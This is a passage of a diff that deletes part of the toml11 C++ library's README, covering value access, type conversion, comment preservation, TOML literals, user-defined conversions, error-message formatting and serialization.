-toml::value   data    = toml::parse("sample.toml");
-toml::value   answer_ = toml::get<toml::table >(data).at("answer");
-toml::integer& answer = toml::get<toml::integer>(answer_);
-answer = 6 * 9; // write to data.answer. now `answer_` contains 54.
-```
-
-If the specified type requires conversion, you can't take a reference to the value.
-See also [underlying types](#underlying-types).
-
-It also throws a `toml::type_error` if the type differs.
-
-### `as_xxx`
-
-You can also use a member function to cast a value.
-
-```cpp
-const std::int64_t answer = data.as_table().at("answer").as_integer();
-```
-
-It also throws a `toml::type_error` if the type differs. If you are sure that
-the value `v` contains a value of the specified type, you can suppress checking
-by passing `std::nothrow`.
-
-```cpp
-const auto& answer = data.as_table().at("answer");
-if(answer.is_integer() && answer.as_integer(std::nothrow) == 42)
-{
-    std::cout << "value is 42" << std::endl;
-}
-```
-
-If `std::nothrow` is passed, the functions are marked as noexcept.
-
-By casting a `toml::value` into an array or a table, you can iterate over the
-elements.
-
-```cpp
-const auto data = toml::parse("example.toml");
-std::cout << "keys in the top-level table are the following: \n";
-for(const auto& [k, v] : data.as_table())
-{
-    std::cout << k << '\n';
-}
-
-const auto& fruits = toml::find(data, "fruits");
-for(const auto& v : fruits.as_array())
-{
-    std::cout << toml::find<std::string>(v, "name") << '\n';
-}
-```
-
-The full list of the functions is below.
-
-```cpp
-namespace toml {
-class value {
-    // ...
-    const boolean&         as_boolean()         const&;
-    const integer&         as_integer()         const&;
-    const floating&        as_floating()        const&;
-    const string&          as_string()          const&;
-    const offset_datetime& as_offset_datetime() const&;
-    const local_datetime&  as_local_datetime()  const&;
-    const local_date&      as_local_date()      const&;
-    const local_time&      as_local_time()      const&;
-    const array&           as_array()           const&;
-    const table&           as_table()           const&;
-    // --------------------------------------------------------
-    // non-const version
-    boolean&               as_boolean()         &;
-    // ditto...
-    // --------------------------------------------------------
-    // rvalue version
-    boolean&&              as_boolean()         &&;
-    // ditto...
-
-    // --------------------------------------------------------
-    // noexcept versions ...
-    const boolean&         as_boolean(const std::nothrow_t&) const& noexcept;
-    boolean&               as_boolean(const std::nothrow_t&) &      noexcept;
-    boolean&&              as_boolean(const std::nothrow_t&) &&     noexcept;
-    // ditto...
-};
-} // toml
-```
-
-### `at()`
-
-You can access to the element of a table and an array by `toml::basic_value::at`.
-
-```cpp
-const toml::value v{1,2,3,4,5};
-std::cout << v.at(2).as_integer() << std::endl; // 3
-
-const toml::value v{{"foo", 42}, {"bar", 3.14}};
-std::cout << v.at("foo").as_integer() << std::endl; // 42
-```
-
-If an invalid key (integer for a table, string for an array), it throws
-`toml::type_error` for the conversion. If the provided key is out-of-range,
-it throws `std::out_of_range`.
-
-Note that, although `std::string` has `at()` member function, `toml::value::at`
-throws if the contained type is a string. Because `std::string` does not
-contain `toml::value`.
-
-### `operator[]`
-
-You can also access to the element of a table and an array by
-`toml::basic_value::operator[]`.
-
-```cpp
-const toml::value v{1,2,3,4,5};
-std::cout << v[2].as_integer() << std::endl; // 3
-
-const toml::value v{{"foo", 42}, {"bar", 3.14}};
-std::cout << v["foo"].as_integer() << std::endl; // 42
-```
-
-When you access to a `toml::value` that is not initialized yet via
-`operator[](const std::string&)`, the `toml::value` will be a table,
-just like the `std::map`.
-
-```cpp
-toml::value v; // not initialized as a table.
-v["foo"] = 42; // OK. `v` will be a table.
-```
-
-Contrary, if you access to a `toml::value` that contains an array via `operator[]`,
-it does not check anything. It converts `toml::value` without type check and then
-access to the n-th element without boundary check, just like the `std::vector::operator[]`.
-
-```cpp
-toml::value v; // not initialized as an array
-v[2] = 42;     // error! UB
-```
-
-Please make sure that the `toml::value` has an array inside when you access to
-its element via `operator[]`.
-
-## Checking value type
-
-You can check the type of a value by `is_xxx` function.
-
-```cpp
-const toml::value v = /* ... */;
-if(v.is_integer())
-{
-    std::cout << "value is an integer" << std::endl;
-}
-```
-
-The complete list of the functions is below.
-
-```cpp
-namespace toml {
-class value {
-    // ...
-    bool is_boolean()         const noexcept;
-    bool is_integer()         const noexcept;
-    bool is_floating()        const noexcept;
-    bool is_string()          const noexcept;
-    bool is_offset_datetime() const noexcept;
-    bool is_local_datetime()  const noexcept;
-    bool is_local_date()      const noexcept;
-    bool is_local_time()      const noexcept;
-    bool is_array()           const noexcept;
-    bool is_table()           const noexcept;
-    bool is_uninitialized()   const noexcept;
-    // ...
-};
-} // toml
-```
-
-Also, you can get `enum class value_t` from `toml::value::type()`.
-
-```cpp
-switch(data.at("something").type())
-{
-    case toml::value_t::integer:  /*do some stuff*/ ; break;
-    case toml::value_t::floating: /*do some stuff*/ ; break;
-    case toml::value_t::string :  /*do some stuff*/ ; break;
-    default : throw std::runtime_error(
-        "unexpected type : " + toml::stringize(data.at("something").type()));
-}
-```
-
-The complete list of the `enum`s can be found in the section
-[underlying types](#underlying-types).
-
-The `enum`s can be used as a parameter of `toml::value::is` function like the following.
-
-```cpp
-toml::value v = /* ... */;
-if(v.is(toml::value_t::boolean)) // ...
-```
-
-## More about conversion
-
-Since `toml::find` internally uses `toml::get`, all the following examples work
-with both `toml::get` and `toml::find`.
-
-### Converting an array
-
-You can get any kind of `container` class from a `toml::array`
-except for `map`-like classes.
-
-``` cpp
-// # sample.toml
-// numbers = [1,2,3]
-
-const auto numbers = toml::find(data, "numbers");
-
-const auto vc  = toml::get<std::vector<int>  >(numbers);
-const auto ls  = toml::get<std::list<int>    >(numbers);
-const auto dq  = toml::get<std::deque<int>   >(numbers);
-const auto ar  = toml::get<std::array<int, 3>>(numbers);
-// if the size of data.at("numbers") is larger than that of std::array,
-// it will throw toml::type_error because std::array is not resizable.
-```
-
-Surprisingly, you can convert `toml::array` into `std::pair` and `std::tuple`.
-
-```cpp
-// numbers = [1,2,3]
-const auto tp = toml::get<std::tuple<short, int, unsigned int>>(numbers);
-```
-
-This functionality is helpful when you have a toml file like the following.
-
-```toml
-array_of_arrays = [[1, 2, 3], ["foo", "bar", "baz"]] # toml allows this
-```
-
-What is the corresponding C++ type?
-Obviously, it is a `std::pair` of `std::vector`s.
-
-```cpp
-const auto array_of_arrays = toml::find(data, "array_of_arrays");
-const auto aofa = toml::get<
-    std::pair<std::vector<int>, std::vector<std::string>>
-    >(array_of_arrays);
-```
-
-If you don't know the type of the elements, you can use `toml::array`,
-which is a `std::vector` of `toml::value`, instead.
-
-```cpp
-const auto a_of_a = toml::get<toml::array>(array_of_arrays);
-const auto first  = toml::get<std::vector<int>>(a_of_a.at(0));
-```
-
-You can change the implementation of `toml::array` with `std::deque` or some
-other array-like container. See [Customizing containers](#customizing-containers)
-for detail.
-
-### Converting a table
-
-When all the values of the table have the same type, toml11 allows you to
-convert a `toml::table` to a `map` that contains the convertible type.
-
-```toml
-[tab]
-key1 = "foo" # all the values are
-key2 = "bar" # toml String
-```
-
-```cpp
-const auto data = toml::parse("sample.toml");
-const auto tab = toml::find<std::map<std::string, std::string>>(data, "tab");
-std::cout << tab["key1"] << std::endl; // foo
-std::cout << tab["key2"] << std::endl; // bar
-```
-
-But since `toml::table` is just an alias of `std::unordered_map<toml::key, toml::value>`,
-normally you don't need to convert it because it has all the functionalities that
-`std::unordered_map` has (e.g. `operator[]`, `count`, and `find`). In most cases
-`toml::table` is sufficient.
-
-```cpp
-toml::table tab = toml::get<toml::table>(data);
-if(data.count("title") != 0)
-{
-    data["title"] = std::string("TOML example");
-}
-```
-
-You can change the implementation of `toml::table` with `std::map` or some
-other map-like container. See [Customizing containers](#customizing-containers)
-for detail.
-
-### Getting an array of tables
-
-An array of tables is just an array of tables.
-You can get it in completely the same way as the other arrays and tables.
-
-```toml
-# sample.toml
-array_of_inline_tables = [{key = "value1"}, {key = "value2"}, {key = "value3"}]
-
-[[array_of_tables]]
-key = "value4"
-[[array_of_tables]]
-key = "value5"
-[[array_of_tables]]
-key = "value6"
-```
-
-```cpp
-const auto data = toml::parse("sample.toml");
-const auto aot1 = toml::find<std::vector<toml::table>>(data, "array_of_inline_tables");
-const auto aot2 = toml::find<std::vector<toml::table>>(data, "array_of_tables");
-```
-
-### Cost of conversion
-
-Although conversion through `toml::(get|find)` is convenient, it has additional
-copy-cost because it copies data contained in `toml::value` to the
-user-specified type. Of course in some cases this overhead is not ignorable.
-
-```cpp
-// the following code constructs a std::vector.
-// it requires heap allocation for vector and element conversion.
-const auto array = toml::find<std::vector<int>>(data, "foo");
-```
-
-By passing the exact types, `toml::get` returns reference that has no overhead.
-
-``` cpp
-const auto& tab     = toml::find<toml::table>(data, "tab");
-const auto& numbers = toml::find<toml::array>(data, "numbers");
-```
-
-Also, `as_xxx` are zero-overhead because they always return a reference.
-
-``` cpp
-const auto& tab     = toml::find(data, "tab"    ).as_table();
-const auto& numbers = toml::find(data, "numbers").as_array();
-```
-
-In this case you need to call `toml::get` each time you access to
-the element of `toml::array` because `toml::array` is an array of `toml::value`.
-
-```cpp
-const auto& num0 = toml::get<toml::integer>(numbers.at(0));
-const auto& num1 = toml::get<toml::integer>(numbers.at(1));
-const auto& num2 = toml::get<toml::integer>(numbers.at(2));
-```
-
-### Converting datetime and its variants
-
-TOML v0.5.0 has 4 different datetime objects, `local_date`, `local_time`,
-`local_datetime`, and `offset_datetime`.
-
-Since `local_date`, `local_datetime`, and `offset_datetime` represent a time
-point, you can convert them to `std::chrono::system_clock::time_point`.
-
-Contrary, `local_time` does not represents a time point because they lack a
-date information, but it can be converted to `std::chrono::duration` that
-represents a duration from the beginning of the day, `00:00:00.000`.
-
-```toml
-# sample.toml
-date = 2018-12-23
-time = 12:30:00
-l_dt = 2018-12-23T12:30:00
-o_dt = 2018-12-23T12:30:00+09:30
-```
-
-```cpp
-const auto data = toml::parse("sample.toml");
-
-const auto date = toml::get<std::chrono::system_clock::time_point>(data.at("date"));
-const auto l_dt = toml::get<std::chrono::system_clock::time_point>(data.at("l_dt"));
-const auto o_dt = toml::get<std::chrono::system_clock::time_point>(data.at("o_dt"));
-
-const auto time = toml::get<std::chrono::minutes>(data.at("time")); // 12 * 60 + 30 min
-```
-
-`local_date` and `local_datetime` are assumed to be in the local timezone when
-they are converted into `time_point`. On the other hand, `offset_datetime` only
-uses the offset part of the data and it does not take local timezone into account.
-
-To contain datetime data, toml11 defines its own datetime types.
-For more detail, you can see the definitions in [toml/datetime.hpp](toml/datetime.hpp).
-
-## Getting with a fallback
-
-`toml::find_or` returns a default value if the value is not found or has a
-different type.
-
-```cpp
-const auto data = toml::parse("example.toml");
-const auto num  = toml::find_or(data, "num", 42);
-```
-
-It works recursively if you pass several keys for subtables.
-In that case, the last argument is considered to be the optional value.
-All other arguments between `toml::value` and the optinoal value are considered as keys.
-
-```cpp
-// [fruit.physical]
-// color = "red"
-auto data  = toml::parse("fruit.toml");
-auto color = toml::find_or(data, "fruit", "physical", "color", "red");
-//                               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^  ^^^^^
-//                               arguments                     optional value
-```
-
-Also, `toml::get_or` returns a default value if `toml::get<T>` failed.
-
-```cpp
-toml::value v("foo"); // v contains String
-const int value = toml::get_or(v, 42); // conversion fails. it returns 42.
-```
-
-These functions automatically deduce what type you want to get
-from the default value you passed.
-
-To get a reference through this function, take care about the default value.
-
-```cpp
-toml::value v("foo"); // v contains String
-toml::integer& i = toml::get_or(v, 42); // does not work because binding `42`
-                                        // to `integer&` is invalid
-toml::integer opt = 42;
-toml::integer& i = toml::get_or(v, opt); // this works.
-```
-
-## Expecting conversion
-
-By using `toml::expect`, you will get your expected value or an error message
-without throwing `toml::type_error`.
-
-```cpp
-const auto value = toml::expect<std::string>(data.at("title"));
-if(value.is_ok()) {
-    std::cout << value.unwrap() << std::endl;
-} else {
-    std::cout << value.unwrap_err() << std::endl;
-}
-```
-
-Also, you can pass a function object to modify the expected value.
-
-```cpp
-const auto value = toml::expect<int>(data.at("number"))
-    .map(// function that receives expected type (here, int)
-    [](const int number) -> double {
-        return number * 1.5 + 1.0;
-    }).unwrap_or(/*default value =*/ 3.14);
-```
-
-## Visiting a toml::value
-
-toml11 provides `toml::visit` to apply a function to `toml::value` in the
-same way as `std::variant`.
-
-```cpp
-const toml::value v(3.14);
-toml::visit([](const auto& val) -> void {
-        std::cout << val << std::endl;
-    }, v);
-```
-
-The function object that would be passed to `toml::visit` must be able to
-receive all the possible TOML types. Also, the result types should be the same
-each other.
-
-## Constructing a toml::value
-
-`toml::value` can be constructed in various ways.
-
-```cpp
-toml::value v(true);     // boolean
-toml::value v(42);       // integer
-toml::value v(3.14);     // floating
-toml::value v("foobar"); // string
-toml::value v(toml::local_date(2019, toml::month_t::Apr, 1)); // date
-toml::value v{1, 2, 3, 4, 5};                                 // array
-toml::value v{{"foo", 42}, {"bar", 3.14}, {"baz", "qux"}};    // table
-```
-
-When constructing a string, you can choose to use either literal or basic string.
-By default, it will be a basic string.
-
-```cpp
-toml::value v("foobar", toml::string_t::basic  );
-toml::value v("foobar", toml::string_t::literal);
-```
-
-Datetime objects can be constructed from `std::tm` and
-`std::chrono::system_clock::time_point`. But you need to specify what type
-you use to avoid ambiguity.
-
-```cpp
-const auto now = std::chrono::system_clock::now();
-toml::value v(toml::local_date(now));
-toml::value v(toml::local_datetime(now));
-toml::value v(toml::offset_datetime(now));
-```
-
-Since local time is not equivalent to a time point, because it lacks date
-information, it will be constructed from `std::chrono::duration`.
-
-```cpp
-toml::value v(toml::local_time(std::chrono::hours(10)));
-```
-
-You can construct an array object not only from `initializer_list`, but also
-from STL containers. In that case, the element type must be convertible to
-`toml::value`.
-
-```cpp
-std::vector<int> vec{1,2,3,4,5};
-toml::value v(vec);
-```
-
-When you construct an array value, all the elements of `initializer_list`
-must be convertible into `toml::value`.
-
-If a `toml::value` has an array, you can `push_back` an element in it.
-
-```cpp
-toml::value v{1,2,3,4,5};
-v.push_back(6);
-```
-
-`emplace_back` also works.
-
-## Preserving comments
-
-toml11 v3 or later allows you yo choose whether comments are preserved or not via template parameter
-
-```cpp
-const auto data1 = toml::parse<toml::discard_comments >("example.toml");
-const auto data2 = toml::parse<toml::preserve_comments>("example.toml");
-```
-
-or macro definition.
-
-```cpp
-#define TOML11_PRESERVE_COMMENTS_BY_DEFAULT
-#include <toml11/toml.hpp>
-```
-
-This feature is controlled by template parameter in `toml::basic_value<...>`.
-`toml::value` is an alias of `toml::basic_value<...>`.
-
-If template parameter is explicitly specified, the return value of `toml::parse`
-will be `toml::basic_value<toml::preserve_comments>`.
-If the macro is defined, the alias `toml::value` will be
-`toml::basic_value<toml::preserve_comments>`.
-
-Comments related to a value can be obtained by `toml::value::comments()`.
-The return value has the same interface as `std::vector<std::string>`.
-
-```cpp
-const auto& com = v.comments();
-for(const auto& c : com)
-{
-    std::cout << c << std::endl;
-}
-```
-
-Comments just before and just after (within the same line) a value are kept in a value.
-
-```toml
-# this is a comment for v1.
-v1 = "foo"
-
-v2 = "bar" # this is a comment for v2.
-# Note that this comment is NOT a comment for v2.
-
-# this comment is not related to any value
-# because there are empty lines between v3.
-# this comment will be ignored even if you set `preserve_comments`.
-
-# this is a comment for v3
-# this is also a comment for v3.
-v3 = "baz" # ditto.
-```
-
-Each comment line becomes one element of a `std::vector`.
-
-Hash signs will be removed, but spaces after hash sign will not be removed.
-
-```cpp
-v1.comments().at(0) == " this is a comment for v1."s;
-
-v2.comments().at(1) == " this is a comment for v1."s;
-
-v3.comments().at(0) == " this is a comment for v3."s;
-v3.comments().at(1) == " this is also a comment for v3."s;
-v3.comments().at(2) == " ditto."s;
-```
-
-Note that a comment just after an opening brace of an array will not be a
-comment for the array.
-
-```toml
-# this is a comment for a.
-a = [ # this is not a comment for a. this will be ignored.
-  1, 2, 3,
-  # this is a comment for `42`.
-  42, # this is also a comment for `42`.
-  5
-] # this is a comment for a.
-```
-
-You can also append and modify comments.
-The interfaces are the same as `std::vector<std::string>`.
-
-```cpp
-toml::basic_value<toml::preserve_comments> v(42);
-v.comments().push_back(" add this comment.");
-// # add this comment.
-// i = 42
-```
-
-Also, you can pass a `std::vector<std::string>` when constructing a
-`toml::basic_value<toml::preserve_comments>`.
-
-```cpp
-std::vector<std::string> comments{"comment 1", "comment 2"};
-const toml::basic_value<toml::preserve_comments> v1(42, std::move(comments));
-const toml::basic_value<toml::preserve_comments> v2(42, {"comment 1", "comment 2"});
-```
-
-When `toml::discard_comments` is chosen, comments will not be contained in a value.
-`value::comments()` will always be kept empty.
-All the modification on comments would be ignored.
-All the element access in a `discard_comments` causes the same error as accessing
-an element of an empty `std::vector`.
-
-The comments will also be serialized. If comments exist, those comments will be
-added just before the values.
-
-__NOTE__: Result types from `toml::parse(...)` and
-`toml::parse<toml::preserve_comments>(...)` are different.
-
-## Customizing containers
-
-Actually, `toml::basic_value` has 3 template arguments.
-
-```cpp
-template<typename Comment, // discard/preserve_comment
-         template<typename ...> class Table = std::unordered_map,
-         template<typename ...> class Array = std::vector>
-class basic_value;
-```
-
-This enables you to change the containers used inside. E.g. you can use
-`std::map` to contain a table object instead of `std::unordered_map`.
-And also can use `std::deque` as a array object instead of `std::vector`.
-
-You can set these parameters while calling `toml::parse` function.
-
-```cpp
-const auto data = toml::parse<
-    toml::preserve_comments, std::map, std::deque
-    >("example.toml");
-```
-
-Needless to say, the result types from `toml::parse(...)` and
-`toml::parse<Com, Map, Cont>(...)` are different (unless you specify the same
-types as default).
-
-Note that, since `toml::table` and `toml::array` is an alias for a table and an
-array of a default `toml::value`, so it is different from the types actually
-contained in a `toml::basic_value` when you customize containers.
-To get the actual type in a generic way, use
-`typename toml::basic_type<C, T, A>::table_type` and
-`typename toml::basic_type<C, T, A>::array_type`.
-
-## TOML literal
-
-toml11 supports `"..."_toml` literal.
-It accept both a bare value and a file content.
-
-```cpp
-using namespace toml::literals::toml_literals;
-
-// `_toml` can convert a bare value without key
-const toml::value v = u8"0xDEADBEEF"_toml;
-// v is an Integer value containing 0xDEADBEEF.
-
-// raw string literal (`R"(...)"` is useful for this purpose)
-const toml::value t = u8R"(
-    title = "this is TOML literal"
-    [table]
-    key = "value"
-)"_toml;
-// the literal will be parsed and the result will be contained in t
-```
-
-The literal function is defined in the same way as the standard library literals
-such as `std::literals::string_literals::operator""s`.
-
-```cpp
-namespace toml
-{
-inline namespace literals
-{
-inline namespace toml_literals
-{
-toml::value operator"" _toml(const char* str, std::size_t len);
-} // toml_literals
-} // literals
-} // toml
-```
-
-Access to the operator can be gained with `using namespace toml::literals;`,
-`using namespace toml::toml_literals`, and `using namespace toml::literals::toml_literals`.
-
-Note that a key that is composed only of digits is allowed in TOML.
-And, unlike the file parser, toml-literal allows a bare value without a key.
-Thus it is difficult to distinguish arrays having integers and definitions of
-tables that are named as digits.
-Currently, literal `[1]` becomes a table named "1".
-To ensure a literal to be considered as an array with one element, you need to
-add a comma after the first element (like `[1,]`).
-
-```cpp
-"[1,2,3]"_toml;   // This is an array
-"[table]"_toml;   // This is a table that has an empty table named "table" inside.
-"[[1,2,3]]"_toml; // This is an array of arrays
-"[[table]]"_toml; // This is a table that has an array of tables inside.
-
-"[[1]]"_toml;     // This literal is ambiguous.
-                  // Currently, it becomes a table that has array of table "1".
-"1 = [{}]"_toml;  // This is a table that has an array of table named 1.
-"[[1,]]"_toml;    // This is an array of arrays.
-"[[1],]"_toml;    // ditto.
-```
-
-NOTE: `_toml` literal returns a `toml::value`  that does not have comments.
-
-## Conversion between toml value and arbitrary types
-
-You can also use `toml::get` and other related functions with the types
-you defined after you implement a way to convert it.
-
-```cpp
-namespace ext
-{
-struct foo
-{
-    int         a;
-    double      b;
-    std::string c;
-};
-} // ext
-
-const auto data = toml::parse("example.toml");
-
-// to do this
-const foo f = toml::find<ext::foo>(data, "foo");
-```
-
-There are 3 ways to use `toml::get` with the types that you defined.
-
-The first one is to implement `from_toml(const toml::value&)` member function.
-
-```cpp
-namespace ext
-{
-struct foo
-{
-    int         a;
-    double      b;
-    std::string c;
-
-    void from_toml(const toml::value& v)
-    {
-        this->a = toml::find<int        >(v, "a");
-        this->b = toml::find<double     >(v, "b");
-        this->c = toml::find<std::string>(v, "c");
-        return;
-    }
-};
-} // ext
-```
-
-In this way, because `toml::get` first constructs `foo` without arguments,
-the type should be default-constructible.
-
-The second is to implement `constructor(const toml::value&)`.
-
-```cpp
-namespace ext
-{
-struct foo
-{
-    explicit foo(const toml::value& v)
-        : a(toml::find<int>(v, "a")), b(toml::find<double>(v, "b")),
-          c(toml::find<std::string>(v, "c"))
-    {}
-
-    int         a;
-    double      b;
-    std::string c;
-};
-} // ext
-```
-
-Note that implicit default constructor declaration will be suppressed
-when a constructor is defined. If you want to use the struct (here, `foo`)
-in a container (e.g. `std::vector<foo>`), you may need to define default
-constructor explicitly.
-
-The third is to implement specialization of `toml::from` for your type.
-
-```cpp
-namespace ext
-{
-struct foo
-{
-    int         a;
-    double      b;
-    std::string c;
-};
-} // ext
-
-namespace toml
-{
-template<>
-struct from<ext::foo>
-{
-    static ext::foo from_toml(const value& v)
-    {
-        ext::foo f;
-        f.a = find<int        >(v, "a");
-        f.b = find<double     >(v, "b");
-        f.c = find<std::string>(v, "c");
-        return f;
-    }
-};
-} // toml
-```
-
-In this way, since the conversion function is defined outside of the class,
-you can add conversion between `toml::value` and classes defined in another library.
-
-In some cases, a class has a templatized constructor that takes a template, `T`.
-It confuses `toml::get/find<T>` because it makes the class "constructible" from
-`toml::value`. To avoid this problem, `toml::from` and `from_toml` always
-precede constructor. It makes easier to implement conversion between
-`toml::value` and types defined in other libraries because it skips constructor.
-
-But, importantly, you cannot define `toml::from<T>` and `T.from_toml` at the same
-time because it causes ambiguity in the overload resolution of `toml::get<T>` and `toml::find<T>`.
-
-So the precedence is `toml::from<T>` == `T.from_toml()` > `T(toml::value)`.
-
-If you want to convert any versions of `toml::basic_value`,
-you need to templatize the conversion function as follows.
-
-```cpp
-struct foo
-{
-    template<typename C, template<typename ...> class M, template<typename ...> class A>
-    void from_toml(const toml::basic_value<C, M, A>& v)
-    {
-        this->a = toml::find<int        >(v, "a");
-        this->b = toml::find<double     >(v, "b");
-        this->c = toml::find<std::string>(v, "c");
-        return;
-    }
-};
-// or
-namespace toml
-{
-template<>
-struct from<ext::foo>
-{
-    template<typename C, template<typename ...> class M, template<typename ...> class A>
-    static ext::foo from_toml(const basic_value<C, M, A>& v)
-    {
-        ext::foo f;
-        f.a = find<int        >(v, "a");
-        f.b = find<double     >(v, "b");
-        f.c = find<std::string>(v, "c");
-        return f;
-    }
-};
-} // toml
-```
-
-----
-
-The opposite direction is also supported in a similar way. You can directly
-pass your type to `toml::value`'s constructor by introducing `into_toml` or
-`toml::into<T>`.
-
-```cpp
-namespace ext
-{
-struct foo
-{
-    int         a;
-    double      b;
-    std::string c;
-
-    toml::value into_toml() const // you need to mark it const.
-    {
-        return toml::value{{"a", this->a}, {"b", this->b}, {"c", this->c}};
-    }
-};
-} // ext
-
-ext::foo    f{42, 3.14, "foobar"};
-toml::value v(f);
-```
-
-The definition of `toml::into<T>` is similar to `toml::from<T>`.
-
-```cpp
-namespace ext
-{
-struct foo
-{
-    int         a;
-    double      b;
-    std::string c;
-};
-} // ext
-
-namespace toml
-{
-template<>
-struct into<ext::foo>
-{
-    static toml::value into_toml(const ext::foo& f)
-    {
-        return toml::value{{"a", f.a}, {"b", f.b}, {"c", f.c}};
-    }
-};
-} // toml
-
-ext::foo    f{42, 3.14, "foobar"};
-toml::value v(f);
-```
-
-Any type that can be converted to `toml::value`, e.g. `int`, `toml::table` and
-`toml::array` are okay to return from `into_toml`.
-
-You can also return a custom `toml::basic_value` from `toml::into`.
-
-```cpp
-namespace toml
-{
-template<>
-struct into<ext::foo>
-{
-    static toml::basic_value<toml::preserve_comments> into_toml(const ext::foo& f)
-    {
-        toml::basic_value<toml::preserve_comments> v{{"a", f.a}, {"b", f.b}, {"c", f.c}};
-        v.comments().push_back(" comment");
-        return v;
-    }
-};
-} // toml
-```
-
-But note that, if this `basic_value` would be assigned into other `toml::value`
-that discards `comments`, the comments would be dropped.
-
-### Macro to automatically define conversion functions
-
-There is a helper macro that automatically generates conversion functions `from` and `into` for a simple struct.
-
-```cpp
-namespace foo
-{
-struct Foo
-{
-    std::string s;
-    double      d;
-    int         i;
-};
-} // foo
-
-TOML11_DEFINE_CONVERSION_NON_INTRUSIVE(foo::Foo, s, d, i)
-
-int main()
-{
-    const auto file = toml::parse("example.toml");
-    auto f = toml::find<foo::Foo>(file, "foo");
-}
-```
-
-And then you can use `toml::find<foo::Foo>(file, "foo");`
-
-**Note** that, because of a slight difference in implementation of preprocessor between gcc/clang and MSVC, [you need to define `/Zc:preprocessor`](https://github.com/ToruNiina/toml11/issues/139#issuecomment-803683682) to use it in MSVC (Thank you @glebm !).
-
-## Formatting user-defined error messages
-
-When you encounter an error after you read the toml value, you may want to
-show the error with the value.
-
-toml11 provides you a function that formats user-defined error message with
-related values. With a code like the following,
-
-```cpp
-const auto value = toml::find<int>(data, "num");
-if(value < 0)
-{
-    std::cerr << toml::format_error("[error] value should be positive",
-                                    data.at("num"), "positive number required")
-              << std::endl;
-}
-```
-
-you will get an error message like this.
-
-```console
-[error] value should be positive
- --> example.toml
- 3 | num = -42
-   |       ~~~ positive number required
-```
-
-When you pass two values to `toml::format_error`,
-
-```cpp
-const auto min = toml::find<int>(range, "min");
-const auto max = toml::find<int>(range, "max");
-if(max < min)
-{
-    std::cerr << toml::format_error("[error] max should be larger than min",
-                                    data.at("min"), "minimum number here",
-                                    data.at("max"), "maximum number here");
-              << std::endl;
-}
-```
-
-you will get an error message like this.
-
-```console
-[error] max should be larger than min
- --> example.toml
- 3 | min = 54
-   |       ~~ minimum number here
- ...
- 4 | max = 42
-   |       ~~ maximum number here
-```
-
-You can print hints at the end of the message.
-
-```cpp
-std::vector<std::string> hints;
-hints.push_back("positive number means n >= 0.");
-hints.push_back("negative number is not positive.");
-std::cerr << toml::format_error("[error] value should be positive",
-                                data.at("num"), "positive number required", hints)
-          << std::endl;
-```
-
-```console
-[error] value should be positive
- --> example.toml
- 2 | num = 42
-   |       ~~ positive number required
-   |
-Hint: positive number means n >= 0.
-Hint: negative number is not positive.
-```
-
-## Obtaining location information
-
-You can also format error messages in your own way by using `source_location`.
-
-```cpp
-struct source_location
-{
-    std::uint_least32_t line()      const noexcept;
-    std::uint_least32_t column()    const noexcept;
-    std::uint_least32_t region()    const noexcept;
-    std::string const&  file_name() const noexcept;
-    std::string const&  line_str()  const noexcept;
-};
-// +-- line()       +--- length of the region (here, region() == 9)
-// v            .---+---.
-// 12 | value = "foo bar" <- line_str() returns the line itself.
-//              ^-------- column() points here
-```
-
-You can get this by
-```cpp
-const toml::value           v   = /*...*/;
-const toml::source_location loc = v.location();
-```
-
-## Exceptions
-
-The following `exception` classes inherits `toml::exception` that inherits
-`std::exception`.
-
-```cpp
-namespace toml {
-struct exception      : public std::exception  {/**/};
-struct syntax_error   : public toml::exception {/**/};
-struct type_error     : public toml::exception {/**/};
-struct internal_error : public toml::exception {/**/};
-} // toml
-```
-
-`toml::exception` has `toml::exception::location()` member function that returns
-`toml::source_location`, in addition to `what()`.
-
-```cpp
-namespace toml {
-struct exception : public std::exception
-{
-    // ...
-    source_location const& location() const noexcept;
-};
-} // toml
-```
-
-It represents where the error occurs.
-
-`syntax_error` will be thrown from `toml::parse` and `_toml` literal.
-`type_error` will be thrown from `toml::get/find`, `toml::value::as_xxx()`, and
-other functions that takes a content inside of `toml::value`.
-
-Note that, currently, from `toml::value::at()` and `toml::find(value, key)`
-may throw an `std::out_of_range` that does not inherits `toml::exception`.
-
-Also, in some cases, most likely in the file open error, it will throw an
-`std::runtime_error`.
-
-## Colorize Error Messages
-
-By defining `TOML11_COLORIZE_ERROR_MESSAGE`, the error messages from
-`toml::parse` and `toml::find|get` will be colorized. By default, this feature
-is turned off.
-
-With the following toml file taken from `toml-lang/toml/tests/hard_example.toml`,
-
-```toml
-[error]
-array = [
-         "This might most likely happen in multiline arrays",
-         Like here,
-         "or here,
-         and here"
-        ]     End of array comment, forgot the #
-```
-
-the error message would be like this.
-
-![error-message-1](https://github.com/ToruNiina/toml11/blob/misc/misc/toml11-err-msg-1.png)
-
-With the following,
-
-```toml
-[error]
-# array = [
-#          "This might most likely happen in multiline arrays",
-#          Like here,
-#          "or here,
-#          and here"
-#         ]     End of array comment, forgot the #
-number = 3.14  pi <--again forgot the #
-```
-
-the error message would be like this.
-
-![error-message-2](https://github.com/ToruNiina/toml11/blob/misc/misc/toml11-err-msg-2.png)
-
-The message would be messy when it is written to a file, not a terminal because
-it uses [ANSI escape code](https://en.wikipedia.org/wiki/ANSI_escape_code).
-
-Without `TOML11_COLORIZE_ERROR_MESSAGE`, you can still colorize user-defined
-error message by passing `true` to the `toml::format_error` function.
-If you define `TOML11_COLORIZE_ERROR_MESSAGE`, the value is `true` by default.
-If not, the default value would be `false`.
-
-```cpp
-std::cerr << toml::format_error("[error] value should be positive",
-                                data.at("num"), "positive number required",
-                                hints, /*colorize = */ true) << std::endl;
-```
-
-Note: It colorize `[error]` in red. That means that it detects `[error]` prefix
-at the front of the error message. If there is no `[error]` prefix,
-`format_error` adds it to the error message.
-
-## Serializing TOML data
-
-toml11 enables you to serialize data into toml format.
-
-```cpp
-const toml::value data{{"foo", 42}, {"bar", "baz"}};
-std::cout << data << std::endl;
-// bar = "baz"
-// foo = 42
-```
-
-toml11 automatically makes a small table and small array inline.
-You can specify the width to make them inline by `std::setw` for streams.
-
-```cpp
-const toml::value data{
-    {"qux",    {{"foo", 42}, {"bar", "baz"}}},
-    {"quux",   {"small", "array", "of", "strings"}},
-    {"foobar", {"this", "array", "of", "strings", "is", "too", "long",
-                "to", "print", "into", "single", "line", "isn't", "it?"}},
-};
-
-// the threshold becomes 80.
-std::cout << std::setw(80) << data << std::endl;
-// foobar = [
-// "this","array","of","strings","is","too","long","to","print","into",
